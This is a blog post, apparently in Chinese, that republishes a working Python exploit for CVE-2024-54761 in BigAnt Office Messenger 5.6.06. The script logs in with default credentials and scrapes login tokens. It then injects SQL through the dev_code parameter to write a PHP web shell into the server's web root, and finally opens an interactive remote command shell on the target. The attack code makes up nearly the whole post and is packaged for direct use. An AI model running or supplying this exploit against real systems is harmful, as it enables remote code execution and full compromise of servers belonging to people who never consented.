BigAnt Office Messenger SQL注入漏洞分析与利用

本文详细分析了BigAnt Office Messenger 5.6.06版本中的SQL注入漏洞(CVE-2024-54761),提供了完整的Python利用代码,演示了如何通过SQL注入实现远程代码执行,涉及身份认证、令牌获取和Webshell上传等技术细节。

Exploit Title: BigAnt Office Messenger 5.6.06 - SQL Injection

Date: 01.09.2025

Exploit Author: Nicat Abbasov

Vendor Homepage: https://www.bigantsoft.com/

Software Link: https://www.bigantsoft.com/download.html

Version: 5.6.06

Tested on: 5.6.06

CVE: CVE-2024-54761

Github repo: https://github.com/nscan9/CVE-2024-54761

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
import requests
from bs4 import BeautifulSoup
import base64

class Exploit:
    def __init__(self, rhost, rport=8000, username='admin', password='123456'):
        self.rhost = rhost
        self.rport = rport
        self.username = username.lower()
        self.password = password
        self.target = f'http://{self.rhost}:{self.rport}'
        self.session = requests.Session()
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
            'X-Requested-With': 'XMLHttpRequest',
            'Origin': self.target,
            'Referer': f'{self.target}/index.php/Home/login/index.html',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        }
        self.clientid_map = {
            'admin': '1',
            'security': '2',
            'auditor': '3',
            'superadmin': '4',
        }
        self.clientid = self.clientid_map.get(self.username, '4')  # 如果未知用户默认使用4

    def get_tokens(self):
        print("[*] 获取登录页面令牌...")
        url = f'{self.target}/index.php/Home/login/index.html'
        r = self.session.get(url, headers={'User-Agent': self.headers['User-Agent']})
        soup = BeautifulSoup(r.text, 'html.parser')

        tokens = {}
        meta = soup.find('meta', attrs={'name': '__hash__'})
        if meta:
            tokens['__hash__'] = meta['content']

        form = soup.find('form')
        if form:
            for hidden in form.find_all('input', type='hidden'):
                name = hidden.get('name')
                value = hidden.get('value', '')
                if name and name not in tokens:
                    tokens[name] = value

        return tokens

    def login(self):
        tokens = self.get_tokens()
        if '__hash__' in tokens:
            tokens['__hash__'] = tokens['__hash__']

        encoded_password = base64.b64encode(self.password.encode()).decode()

        data = {
            'saas': 'default',
            'account': self.username,
            'password': encoded_password,
            'to': 'admin',
            'app': '',
            'submit': '',
        }
        data.update(tokens)

        login_url = f'{self.target}/index.php/Home/Login/login_post'
        print(f"[*] 以 {self.username} 身份登录...")
        resp = self.session.post(login_url, headers=self.headers, data=data)
        if resp.status_code != 200:
            print(f"[-] 登录失败,HTTP {resp.status_code}")
            return False

        try:
            json_resp = resp.json()
            if json_resp.get('status') == 1:
                print("[+] 登录成功!")
                return True
            else:
                print(f"[-] 登录失败: {json_resp.get('info')}")
                return False
        except:
            print("[-] 解析登录响应JSON失败")
            return False

    def check_redirect(self):
        url = f'{self.target}/index.php/admin/public/load/clientid/{self.clientid}.html'
        print(f"[*] 检查登录后重定向到 clientid {self.clientid} ...")
        r = self.session.get(url, headers={'User-Agent': self.headers['User-Agent']}, allow_redirects=False)
        if r.status_code == 302:
            print(f"[+] 发现重定向到 {r.headers.get('Location')}")
            return True
        else:
            print(f"[-] 未发现重定向,HTTP {r.status_code}")
            return False

    def upload_shell(self):
        print("[*] 通过SQL注入上传Webshell...")
        payload = ';SELECT "<?php system($_GET[\'cmd\']); ?>" INTO OUTFILE \'C:/Program Files (x86)/BigAntSoft/IM Console/im_webserver/htdocs/shell.php\'-- -'
        url = f'{self.target}/index.php/Admin/user/index/clientid/{self.clientid}.html'
        params = {'dev_code': payload}
        r = self.session.get(url, params=params, headers={'User-Agent': self.headers['User-Agent']})
        if r.status_code == 200:
            print("[+] 载荷已发送,检查shell...")
            self.check_shell()
        else:
            print(f"[-] 发送载荷失败,HTTP {r.status_code}")

    def check_shell(self):
        print("[*] 输入要在目标上执行的shell命令。空命令退出。")
        while True:
            cmd = input("shell> ").strip()
            if not cmd:
                print("[*] 退出shell。")
                break
            shell_url = f'{self.target}/shell.php?cmd={cmd}'
            print(f"[*] 发送命令: {cmd}")
            r = self.session.get(shell_url)
            if r.status_code == 200 and r.text.strip():
                print(r.text.strip())
            else:
                print("[-] 无响应或shell输出为空。")

    def run(self):
        if self.login():
            if self.check_redirect():
                self.upload_shell()
            else:
                print("[-] 重定向检查失败,中止。")
        else:
            print("[-] 登录失败,中止。")


if __name__ == '__main__':
    import argparse

    parser = argparse.ArgumentParser(description='CVE-2024-54761 BigAntSoft SQL注入到RCE漏洞利用')
    parser.add_argument('-r', '--rhost', required=True, help='目标IP地址')
    parser.add_argument('-p', '--rport', default=8000, type=int, help='目标端口(默认8000)')
    parser.add_argument('-u', '--username', default='admin', help='登录用户名(默认admin)')
    parser.add_argument('-P', '--password', default='123456', help='明文登录密码')

    args = parser.parse_args()

    exploit = Exploit(args.rhost, args.rport, args.username, args.password)
    exploit.run()
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计